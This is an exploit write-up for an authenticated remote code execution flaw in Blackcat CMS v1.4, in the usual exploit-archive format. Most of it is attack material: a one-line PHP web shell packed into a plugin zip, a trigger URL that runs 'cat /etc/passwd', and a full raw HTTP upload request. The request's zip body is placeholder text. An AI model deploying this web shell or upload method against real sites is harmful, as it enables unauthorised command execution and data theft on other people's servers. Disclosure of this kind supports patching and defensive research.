Blackcat CMS 1.4 Shell Upload

Exploit Title: Blackcat Cms v1.4 - Remote Code Execution (RCE)Application: blackcat CmsVersion: v1.4Bugs:  RCETechnology: PHPVendor URL: https://blackcat-cms.org/Software Link: https://github.com/BlackCatDevelopment/BlackCatCMSDate of found: 13.07.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1. login to account as admin2. go to admin-tools => jquery plugin (http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr)3. upload zip file but this zip file must contains poc.php poc.php file contents <?php $a=$_GET['code']; echo system($a);?>4.Go to http://localhost/BlackCatCMS-1.4/upload/modules/lib_jquery/plugins/poc/poc.php?code=cat%20/etc/passwdPoc requestPOST /BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr HTTP/1.1Host: localhostContent-Length: 577Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBRByJwW3CUSHOcBTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgrAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: cat7288sessionid=7uv7f4kj7hm9q6jnd6m9luq0tiConnection: close------WebKitFormBoundaryBRByJwW3CUSHOcBTContent-Disposition: form-data; name="upload"1------WebKitFormBoundaryBRByJwW3CUSHOcBTContent-Disposition: form-data; name="userfile"; filename="poc.zip"Content-Type: application/zipPKvalsdalsfapoc.php<?php $a=$_GET['code']; echo system($a);?>blabalaboalpoc.phpblablabla------WebKitFormBoundaryBRByJwW3CUSHOcBTContent-Disposition: form-data; name="submit"Upload------WebKitFormBoundaryBRByJwW3CUSHOcBT--